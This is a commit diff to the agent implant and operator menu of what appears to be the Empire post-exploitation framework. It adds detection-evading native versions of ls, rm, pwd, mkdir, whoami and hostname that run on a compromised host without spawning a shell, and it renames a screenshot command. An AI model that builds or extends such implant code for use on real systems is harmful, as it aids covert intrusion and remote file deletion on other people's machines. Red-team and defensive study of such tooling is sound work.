Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, getuid. Renamed sc command to osx_screenshot

php_fix
xorrior 2018-03-06 13:10:40 -05:00
parent 00deb6e005
commit aecdec6bd7
2 changed files with 122 additions and 43 deletions

View File

@ -17,6 +17,14 @@ import zipfile
import io import io
import imp import imp
import marshal import marshal
import re
import shutil
import pwd
import socket
import math
import stat
import grp
from stat import S_ISREG, ST_CTIME, ST_MODE
from os.path import expanduser from os.path import expanduser
from StringIO import StringIO from StringIO import StringIO
from threading import Thread from threading import Thread
@ -258,9 +266,16 @@ def process_packet(packetType, data, resultID):
elif packetType == 40: elif packetType == 40:
# run a command # run a command
parts = data.split(" ")
if len(parts) == 1:
data = parts[0]
resultData = str(run_command(data)) resultData = str(run_command(data))
#Not sure why the line below is there..... return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
#e = build_response_packet(40, resultData, resultID) else:
cmd = parts[0]
cmdargs = ' '.join(parts[1:len(parts)])
resultData = str(run_command(cmd, cmdargs=cmdargs))
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
elif packetType == 41: elif packetType == 41:
@ -853,10 +868,91 @@ def data_webserver(data, ip, port, serveCount):
httpServer.server_close() httpServer.server_close()
return return
def permissions_to_unix_name(st_mode):
permstr = ''
usertypes = ['USR', 'GRP', 'OTH']
for usertype in usertypes:
perm_types = ['R', 'W', 'X']
for permtype in perm_types:
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
permstr += '-'
return permstr
def directory_listing(path):
# directory listings in python
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
res = ""
for fn in os.listdir(path):
fstat = os.stat(os.path.join(path, fn))
permstr = permissions_to_unix_name(fstat[0])
if os.path.isdir(fn):
permstr = "d{}".format(permstr)
else:
permstr = "-{}".format(permstr)
user = pwd.getpwuid(fstat.st_uid)[0]
group = grp.getgrgid(fstat.st_gid)[0]
# Convert file size to MB, KB or Bytes
if (fstat.st_size > 1024 * 1024):
fsize = math.ceil(fstat.st_size / (1024 * 1024))
unit = "MB"
elif (fstat.st_size > 1024):
fsize = math.ceil(fstat.st_size / 1024)
unit = "KB"
else:
fsize = fstat.st_size
unit = "B"
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)
return res
# additional implementation methods # additional implementation methods
def run_command(command): def run_command(command, cmdargs=None):
p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0].strip() if re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
cmdargs = '.'
return directory_listing(cmdargs)
elif re.compile("pwd").match(command):
return str(os.getcwd())
elif re.compile("rm").match(command):
if cmdargs == None:
return "please provide a file or directory"
if os.path.exists(cmdargs):
if os.path.isfile(cmdargs):
os.remove(cmdargs)
return "done."
elif os.path.isdir(cmdargs):
shutil.rmtree(cmdargs)
return "done."
else:
return "unsupported file type"
else:
return "specified file/directory does not exist"
elif re.compile("mkdir").match(command):
if cmdargs == None:
return "please provide a directory"
os.mkdir(cmdargs)
return "Created directory: {}".format(cmdargs)
elif re.compile("(whoami|getuid)").match(command):
return pwd.getpwuid(os.getuid())[0]
elif re.compile("hostname").match(command):
return str(socket.gethostname())
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):

View File

@ -2501,6 +2501,9 @@ class PythonAgentMenu(SubMenu):
# listen for messages from this specific agent # listen for messages from this specific agent
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any) dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
# agent commands that have opsec-safe alises in the agent code
self.agentCommands = ['ls', 'rm', 'pwd', 'mkdir', 'whoami', 'getuid', 'hostname']
# display any results from the database that were stored # display any results from the database that were stored
# while we weren't interacting with the agent # while we weren't interacting with the agent
results = self.mainMenu.agents.get_agent_results_db(self.sessionID) results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
@ -2528,7 +2531,21 @@ class PythonAgentMenu(SubMenu):
def default(self, line): def default(self, line):
"Default handler" "Default handler"
print helpers.color("[!] Command not recognized, use 'help' to see available commands") line = line.strip()
parts = line.split(' ')
if len(parts) > 0:
# check if we got an agent command
if parts[0] in self.agentCommands:
shellcmd = ' '.join(parts)
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
# update the agent log
msg = "Tasked agent to run command " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[!] Command not recognized.")
print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
def do_help(self, *args): def do_help(self, *args):
"Displays the help menu or syntax for particular commands." "Displays the help menu or syntax for particular commands."
@ -2875,7 +2892,7 @@ class PythonAgentMenu(SubMenu):
else: else:
self.mainMenu.modules.search_modules(searchTerm) self.mainMenu.modules.search_modules(searchTerm)
def do_sc(self, line): def do_osx_screenshot(self, line):
"Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe" "Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']: if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
@ -2890,24 +2907,6 @@ class PythonAgentMenu(SubMenu):
else: else:
print helpers.color("[!] python/collection/osx/screenshot module not loaded") print helpers.color("[!] python/collection/osx/screenshot module not loaded")
def do_ls_m(self, line):
"List directory contents at the specified path"
#http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string
if self.mainMenu.modules.modules['python/management/osx/ls_m']:
module = self.mainMenu.modules.modules['python/management/osx/ls_m']
if line.strip() != '':
module.options['Path']['Value'] = line.strip()
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/ls_m')
msg = "[*] Tasked agent to list directory contents of: "+str(module.options['Path']['Value'])
print helpers.color(msg,color="green")
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
module_menu.do_execute("")
else:
print helpers.color("[!] python/management/osx/ls_m module not loaded")
def do_cat(self, line): def do_cat(self, line):
"View the contents of a file" "View the contents of a file"
@ -2930,22 +2929,6 @@ except Exception as e:
msg = "Tasked agent to cat file %s" % (line) msg = "Tasked agent to cat file %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg) self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_pwd(self, line):
"Print working directory"
command = "cwd = os.getcwd(); print cwd"
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
msg = "Tasked agent to print current working directory"
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_whoami(self, line):
"Print the currently logged in user"
command = "from AppKit import NSUserName; print str(NSUserName())"
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
msg = "Tasked agent to print currently logged on user"
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_loadpymodule(self, line): def do_loadpymodule(self, line):
"Import zip file containing a .py module or package with an __init__.py" "Import zip file containing a .py module or package with an __init__.py"